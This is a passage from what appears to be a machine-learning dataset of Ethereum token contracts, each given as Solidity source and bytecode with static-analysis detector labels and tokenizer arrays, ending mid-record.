01019061166b565b50611692929150611696565b5090565b5b808211156116925760008155600101611697565b600067ffffffffffffffff808411156116c6576116c661204f565b604051601f8501601f1916810160200182811182821017156116ea576116ea61204f565b60405284815291508183850186101561170257600080fd5b8484602083013760006020868301015250509392505050565b80356001600160a01b038116811461033757600080fd5b600082601f830112611742578081fd5b611751838335602085016116ab565b9392505050565b600060208284031215611769578081fd5b6117518261171b565b60008060408385031215611784578081fd5b61178d8361171b565b915061179b6020840161171b565b90509250929050565b6000806000606084860312156117b8578081fd5b6117c18461171b565b92506117cf6020850161171b565b9150604084013590509250925092565b600080600080608085870312156117f4578081fd5b6117fd8561171b565b935061180b6020860161171b565b925060408501359150606085013567ffffffffffffffff81111561182d578182fd5b8501601f8101871361183d578182fd5b61184c878235602084016116ab565b91505092959194509250565b6000806040838503121561186a578182fd5b6118738361171b565b915060208301358015158114611887578182fd5b809150509250929050565b600080604083850312156118a4578182fd5b6118ad8361171b565b946020939093013593505050565b6000602082840312156118cc578081fd5b813561175181612065565b6000602082840312156118e8578081fd5b815161175181612065565b600080600060608486031215611907578283fd5b833567ffffffffffffffff8082111561191e578485fd5b61192a87838801611732565b9450602086013591508082111561193f578384fd5b61194b87838801611732565b93506040860135915080821115611960578283fd5b5061196d86828701611732565b9150509250925092565b600060208284031215611988578081fd5b5035919050565b600080604083850312156119a1578182fd5b82359150602083013567ffffffffffffffff8111156119be578182fd5b6119ca85828601611732565b9150509250929050565b600080604083850312156119e6578182fd5b50508035926020909101359150565b60008151808452815b81811015611a1a576020818501810151868301820152016119fe565b81811115611a2b5782602083870101525b50601f01601f19169290920160200192915050565b6001600160a01b0391909116815260200190565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090611a87908301846119f5565b9695505050505050565b901515815260200190565b60006020825261175160208301846119f5565b6020808252602b908201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560408201526a74206f6620626f756e647360a81b606082015260800190565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b6020808252601c908201527f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000604082015260600190565b60208082526024908201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526019908201527f4552433732313a20617070726f766520746f2063616c6c657200000000000000604082015260600190565b6020808252602c908201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860408201526b34b9ba32b73a103a37b5b2b760a11b606082015260800190565b60208082526038908201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760408201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000606082015260800190565b6020808252602a908201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604082015269726f206164647265737360b01b606082015260800190565b60208082526029908201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460408201526832b73a103a37b5b2b760b91b606082015260800190565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b6020808252818101527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604082015260600190565b6020808252602c908201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860408201526b34b9ba32b73a103a37b5b2b760a11b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960408201526839903737ba1037bbb760b91b606082015260800190565b60208082526021908201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656040820152603960f91b606082015260800190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b6020808252602c908201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60408201526b7574206f6620626f756e647360a01b606082015260800190565b90815260200190565b60008219821115611fc757611fc7612039565b500190565b600082821015611fde57611fde612039565b500390565b600281046001821680611ff757607f821691505b6020821081141561201857634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561203257612032612039565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b031981168114610b0f57600080fdfea264697066735822122071faddfee59aec0b7b778e1dd128b7bb74bff10148bb3eee2b745fa892735e4b64736f6c63430008000033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 2278, 2620, 16932, 2475, 2050, 22275, 2683, 19736, 2683, 2509, 2546, 2581, 2050, 22025, 2620, 16703, 27009, 2683, 2050, 22907, 2629, 2497, 24434, 26976, 2620, 21486, 2094, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1011, 12200, 3085, 1013, 3229, 1013, 2219, 3085, 6279, 24170, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1011, 12200, 3085, 1013, 19204, 1013, 9413, 2278, 2581, 17465, 1013, 14305, 1013, 9413, 2278, 2581, 17465, 2368, 17897, 16670, 6279, 24170, 3085, 1012, 14017, 1000, 1025, 3206, 7308, 2368, 17897, 16670, 2078, 6199, 2003, 9413, 2278, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,834
0x95c9144e400e3bfddd232bf32fc7b150542d999c
pragma solidity ^0.4.24; // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract DWGT is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "DWGT"; name = "Deep Web Gallery Token"; decimals = 18; _totalSupply = 13131313131e18; balances[0xA91e2dA32c5FCB9e87e2dE71d222760582b6dD38] = _totalSupply; emit Transfer(address(0), 0xA91e2dA32c5FCB9e87e2dE71d222760582b6dD38, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } } // Developed by Erience Solutions // https://erience.co
0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610117578063095ea7b3146101a757806318160ddd1461020c57806323b872dd14610237578063313ce567146102bc5780633eaaf86b146102ed57806370a082311461031857806379ba50971461036f5780638da5cb5b1461038657806395d89b41146103dd578063a293d1e81461046d578063a9059cbb146104b8578063b5931f7c1461051d578063cae9ca5114610568578063d05c78da14610613578063d4ee1d901461065e578063dc39d06d146106b5578063dd62ed3e1461071a578063e6cb901314610791578063f2fde38b146107dc575b600080fd5b34801561012357600080fd5b5061012c61081f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016c578082015181840152602081019050610151565b50505050905090810190601f1680156101995780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b357600080fd5b506101f2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108bd565b604051808215151515815260200191505060405180910390f35b34801561021857600080fd5b506102216109af565b6040518082815260200191505060405180910390f35b34801561024357600080fd5b506102a2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109fa565b604051808215151515815260200191505060405180910390f35b3480156102c857600080fd5b506102d1610c8a565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102f957600080fd5b50610302610c9d565b6040518082815260200191505060405180910390f35b34801561032457600080fd5b50610359600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ca3565b6040518082815260200191505060405180910390f35b34801561037b57600080fd5b50610384610cec565b005b34801561039257600080fd5b5061039b610e8b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103e957600080fd5b506103f2610eb0565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610432578082015181840152602081019050610417565b50505050905090810190601f16801561045f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561047957600080fd5b506104a26004803603810190808035906020019092919080359060200190929190505050610f4e565b6040518082815260200191505060405180910390f35b3480156104c457600080fd5b50610503600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f6a565b604051808215151515815260200191505060405180910390f35b34801561052957600080fd5b5061055260048036038101908080359060200190929190803590602001909291905050506110f3565b6040518082815260200191505060405180910390f35b34801561057457600080fd5b506105f9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611117565b604051808215151515815260200191505060405180910390f35b34801561061f57600080fd5b506106486004803603810190808035906020019092919080359060200190929190505050611366565b6040518082815260200191505060405180910390f35b34801561066a57600080fd5b50610673611397565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106c157600080fd5b50610700600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113bd565b604051808215151515815260200191505060405180910390f35b34801561072657600080fd5b5061077b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611521565b6040518082815260200191505060405180910390f35b34801561079d57600080fd5b506107c660048036038101908080359060200190929190803590602001909291905050506115a8565b6040518082815260200191505060405180910390f35b3480156107e857600080fd5b5061081d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115c4565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108b55780601f1061088a576101008083540402835291602001916108b5565b820191906000526020600020905b81548152906001019060200180831161089857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b6000610a45600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b0e600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bd7600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115a8565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b60055481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d4857600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f465780601f10610f1b57610100808354040283529160200191610f46565b820191906000526020600020905b815481529060010190602001808311610f2957829003601f168201915b505050505081565b6000828211151515610f5f57600080fd5b818303905092915050565b6000610fb5600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f4e565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611041600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836115a8565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808211151561110357600080fd5b818381151561110e57fe5b04905092915050565b600082600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156112f45780820151818401526020810190506112d9565b50505050905090810190601f1680156113215780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561134357600080fd5b505af1158015611357573d6000803e3d6000fd5b50505050600190509392505050565b600081830290506000831480611386575081838281151561138357fe5b04145b151561139157600080fd5b92915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561141a57600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156114de57600080fd5b505af11580156114f2573d6000803e3d6000fd5b505050506040513d602081101561150857600080fd5b8101908080519060200190929190505050905092915050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600081830190508281101515156115be57600080fd5b92915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561161f57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a723058202d04c032c009056b6aff09afcfa9193a7120cdf37240964a0ed2ad5b62f3da680029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'locked-ether', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2629, 2278, 2683, 16932, 2549, 2063, 29537, 2063, 2509, 29292, 14141, 2094, 21926, 2475, 29292, 16703, 11329, 2581, 2497, 16068, 2692, 27009, 2475, 2094, 2683, 2683, 2683, 2278, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2484, 1025, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1013, 1013, 3647, 8785, 2015, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,835
0x95c9bd1f81cee7391da3eac81693e60f3292c1e0
pragma solidity ^0.4.23; /** * @title IERC20Token - ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract IERC20Token { string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ contract SafeMath { /** * @dev constructor */ constructor() public { } function safeMul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { assert(a >= b); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Token - ERC20 base implementation * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20Token is IERC20Token, SafeMath { mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(balances[msg.sender] >= _value); balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(allowed[_from][msg.sender], _value); emit Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256) { return allowed[_owner][_spender]; } } contract LinfinityCoin is ERC20Token { uint256 public mintTotal; address public owner; event Mint(address _toAddress, uint256 _amount); constructor(address _owner) public { require(address(0) != _owner); name = "LinfinityCoin"; symbol = "LFC"; decimals = 18; totalSupply = 3* 1000 * 1000 *1000 * 10**uint256(decimals); mintTotal = 0; owner = _owner; } function mint (address _toAddress, uint256 _amount) public returns (bool) { require(msg.sender == owner); require(address(0) != _toAddress); require(_amount >= 0); require( safeAdd(_amount,mintTotal) <= totalSupply); mintTotal = safeAdd(_amount, mintTotal); balances[_toAddress] = safeAdd(balances[_toAddress], _amount); emit Mint(_toAddress, _amount); return (true); } function() public payable { revert(); } }
0x6080604052600436106100cf5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100d4578063095ea7b31461015e57806318160ddd1461019657806323b872dd146101bd57806327e235e3146101e7578063313ce5671461020857806340c10f19146102335780635c6581651461025757806370a082311461027e5780638da5cb5b1461029f57806395d89b41146102d0578063a9059cbb146102e5578063bca63e5014610309578063dd62ed3e1461031e575b600080fd5b3480156100e057600080fd5b506100e9610345565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561012357818101518382015260200161010b565b50505050905090810190601f1680156101505780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561016a57600080fd5b50610182600160a060020a03600435166024356103d3565b604080519115158252519081900360200190f35b3480156101a257600080fd5b506101ab61043d565b60408051918252519081900360200190f35b3480156101c957600080fd5b50610182600160a060020a0360043581169060243516604435610443565b3480156101f357600080fd5b506101ab600160a060020a03600435166105af565b34801561021457600080fd5b5061021d6105c1565b6040805160ff9092168252519081900360200190f35b34801561023f57600080fd5b50610182600160a060020a03600435166024356105ca565b34801561026357600080fd5b506101ab600160a060020a03600435811690602435166106b8565b34801561028a57600080fd5b506101ab600160a060020a03600435166106d5565b3480156102ab57600080fd5b506102b46106f0565b60408051600160a060020a039092168252519081900360200190f35b3480156102dc57600080fd5b506100e96106ff565b3480156102f157600080fd5b50610182600160a060020a0360043516602435610759565b34801561031557600080fd5b506101ab610848565b34801561032a57600080fd5b506101ab600160a060020a036004358116906024351661084e565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103cb5780601f106103a0576101008083540402835291602001916103cb565b820191906000526020600020905b8154815290600101906020018083116103ae57829003601f168201915b505050505081565b600160a060020a03338116600081815260056020908152604080832094871680845294825280832086905580518681529051929493927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60035481565b6000600160a060020a038316151561045a57600080fd5b600160a060020a03841660009081526004602052604090205482118015906104a85750600160a060020a03808516600090815260056020908152604080832033909416835292905220548211155b15156104b357600080fd5b600160a060020a0383166000908152600460205260409020546104d69083610879565b600160a060020a038085166000908152600460205260408082209390935590861681522054610505908361088f565b600160a060020a0380861660009081526004602090815260408083209490945560058152838220339093168252919091522054610542908361088f565b600160a060020a038086166000818152600560209081526040808320338616845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b60046020526000908152604090205481565b60025460ff1681565b60075460009033600160a060020a039081169116146105e857600080fd5b600160a060020a03831615156105fd57600080fd5b600082101561060b57600080fd5b60035461061a83600654610879565b111561062557600080fd5b61063182600654610879565b600655600160a060020a0383166000908152600460205260409020546106579083610879565b600160a060020a03841660008181526004602090815260409182902093909355805191825291810184905281517f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885929181900390910190a150600192915050565b600560209081526000928352604080842090915290825290205481565b600160a060020a031660009081526004602052604090205490565b600754600160a060020a031681565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156103cb5780601f106103a0576101008083540402835291602001916103cb565b6000600160a060020a038316151561077057600080fd5b600160a060020a03331660009081526004602052604090205482111561079557600080fd5b600160a060020a0333166000908152600460205260409020546107b8908361088f565b600160a060020a0333811660009081526004602052604080822093909355908516815220546107e79083610879565b600160a060020a038085166000818152600460209081526040918290209490945580518681529051919333909316927fddf252ad1be2c89b69c